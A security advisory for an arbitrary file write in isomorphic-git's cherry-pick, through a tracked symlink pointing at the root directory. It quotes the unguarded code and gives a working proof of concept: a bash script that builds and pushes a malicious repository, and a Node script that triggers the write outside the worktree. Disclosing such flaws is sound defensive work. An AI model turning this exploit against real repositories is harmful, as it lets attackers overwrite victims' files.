Arbitrary File Write via Symlink in isomorphic-git
Description
There is an arbitrary file write vulnerability in isomorphic-git (verified on v1.38.7). When applying tree changes during git cherry-pick, the helper applyTreeChanges materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as link -> / can later supply a cherry-pick tree containing link/tmp/<file>; isomorphic-git follows the symlink and writes the file outside the worktree. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The vulnerable logic is in applyTreeChanges at src/utils/walkerToTreeEntryMap.js:260-295. For every changed blob it builds the on-disk path and writes it directly:
// src/utils/walkerToTreeEntryMap.js:260-295
// apply the changes to work dir
await acquireLock({ fs, gitdir, dirRemoved, ops }, async () => {
for (const op of ops) {
const currentFilepath = join(dir, op.filepath)
switch (op.method) {
// ...
case 'write':
// only writes if file is not in the removedDirs
if (
!dirRemoved.some(removedDir =>
currentFilepath.startsWith(removedDir)
)
) {
const { object } = await _readObject({
fs,
cache: {},
gitdir,
oid: op.oid,
})
// just like checkout, since mode only applicable to create, not update, delete first
if (await fs.exists(currentFilepath)) {
await fs.rm(currentFilepath)
}
await fs.write(currentFilepath, object) // only handles regular files for now
}
break
}
}
})join(dir, op.filepath) produces a path such as /victim/link/tmp/isomorphic-git-poc-01. When link is a tracked symlink to /, the subsequent fs.write(currentFilepath, object) follows the symlink and writes /tmp/isomorphic-git-poc-01. No call is made to the leading-path symlink guard that the main checkout code uses.
The main checkout routine protects the exact same operation with assertNoSymlinkInLeadingPath (src/commands/checkout.js:30-43):
// src/commands/checkout.js:30-43
async function assertNoSymlinkInLeadingPath(fs, dir, fullpath) {
const parts = fullpath.split('/')
parts.pop() // the final segment is the entry being written, not a leading dir
let current = dir
for (const part of parts) {
if (part === '' || part === '.') continue
current = `${current}/${part}`
const stats = await fs.lstat(current)
// lstat returns null when the path doesn't exist yet (nothing to traverse).
if (stats && stats.isSymbolicLink()) {
throw new UnsafeFilepathError(fullpath)
}
}
}That guard is invoked by the regular checkout path at src/commands/checkout.js:251, :324 and :731, but it is not invoked by applyTreeChanges.
PoC
- Build/push the malicious repo:
#!/usr/bin/env bash
set -euo pipefail
REMOTE_URL='ssh://git@127.0.0.1:222/admin/test-repo.git'
BRANCH='isomorphic-poc'
TARGET_DIR='/'
MARKER_NAME='isomorphic-git-poc-01'
MARKER_CONTENT='pwned by isomorphic-git'
BUILD_BASE='./isogit-poc'
REPO_DIR="$BUILD_BASE/repo"
OIDS_FILE="$(cd "$(dirname "$0")" && pwd)/poc-oids.env"
export GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'
log() { echo "[+] $*" >&2; }
reset_remote_branch() {
local path="$1"
git init "$path" -q -b main
git -C "$path" commit --allow-empty -m reset -q
git -C "$path" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
}
# git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid
git_commit() {
local repo="$1" tree="$2" parent="${3:-}"
local now tz author body_file oid
now=$(date +%s)
tz=$(date +%z)
author="attacker <attacker@example.com> ${now} ${tz}"
body_file=$(mktemp)
{
echo "tree $tree"
[ -n "$parent" ] && echo "parent $parent"
echo "author $author"
echo "committer $author"
echo
echo "poc"
} > "$body_file"
oid=$(git -C "$repo" hash-object -w -t commit --stdin < "$body_file")
rm -f "$body_file"
echo -n "$oid"
}
main() {
mkdir -p "$BUILD_BASE"
local tmp_reset
tmp_reset=$(mktemp -d)
trap 'rm -rf "${tmp_reset:-}" "$BUILD_BASE"' EXIT
reset_remote_branch "$tmp_reset"
log "reset remote branch $BRANCH"
rm -rf "$REPO_DIR"
mkdir -p "$REPO_DIR"
git init "$REPO_DIR" -q -b main
ln -s "$TARGET_DIR" "$REPO_DIR/link"
git -C "$REPO_DIR" add link
git -C "$REPO_DIR" commit -q -m 'init symlink'
local head_oid
head_oid=$(git -C "$REPO_DIR" rev-parse HEAD)
# Build the malicious tree: link/tmp/<marker>.
local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid
blob_oid=$(echo -n "$MARKER_CONTENT" | git -C "$REPO_DIR" hash-object -w --stdin)
file_tree_oid=$(echo "100644 blob $blob_oid $MARKER_NAME" | git -C "$REPO_DIR" mktree)
sub_tree_oid=$(echo "040000 tree $file_tree_oid tmp" | git -C "$REPO_DIR" mktree)
mal_tree_oid=$(echo "040000 tree $sub_tree_oid link" | git -C "$REPO_DIR" mktree)
mal_commit_oid=$(git_commit "$REPO_DIR" "$mal_tree_oid" "$head_oid")
git -C "$REPO_DIR" update-ref refs/heads/main "$mal_commit_oid"
git -C "$REPO_DIR" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
log "pushed malicious commit $mal_commit_oid"
cat > "$OIDS_FILE" <<EOF
HEAD_OID=$head_oid
MAL_COMMIT_OID=$mal_commit_oid
EOF
}
main "$@"- Trigger the vulnerability through the SDK from a fresh clone:
const fs = require('fs')
// Install isomorphic-git v1.38.7 locally before running this PoC:
// npm install --no-save isomorphic-git@1.38.7
const { default: git } = require('isomorphic-git')
const REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'
const BRANCH = 'isomorphic-poc'
const VICTIM_DIR = './victim'
const OIDS_FILE = __dirname + '/poc-oids.env'
function loadOids() {
if (!fs.existsSync(OIDS_FILE)) {
console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)
process.exit(2)
}
const env = {}
for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\n')) {
const m = line.match(/^([A-Z_]+)=(.*)$/)
if (m) env[m[1]] = m[2]
}
if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {
console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)
process.exit(2)
}
return env
}
async function main() {
const { HEAD_OID, MAL_COMMIT_OID } = loadOids()
fs.rmSync(VICTIM_DIR, { recursive: true, force: true })
fs.mkdirSync(VICTIM_DIR, { recursive: true })
console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)
await git.clone({
fs,
http: require('isomorphic-git/http/node'),
dir: VICTIM_DIR,
url: REMOTE_URL,
ref: BRANCH,
singleBranch: true,
noCheckout: true,
})
console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)
await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })
console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)
await git.cherryPick({
fs,
dir: VICTIM_DIR,
oid: MAL_COMMIT_OID,
author: { name: 'poc', email: 'poc@example.com' },
committer: { name: 'poc', email: 'poc@example.com' },
})
console.log('[+] done')
}
main().catch(err => { console.error(err); process.exit(1) })- Verify the arbitrary write:
$ cat /tmp/isomorphic-git-poc-01
# pwned by isomorphic-gitImpact
This leads to an arbitrary file write relative to the filesystem root (or anywhere the symlink points), enabling data tampering, code injection into interpreted files, and other follow-on impact depending on the target path.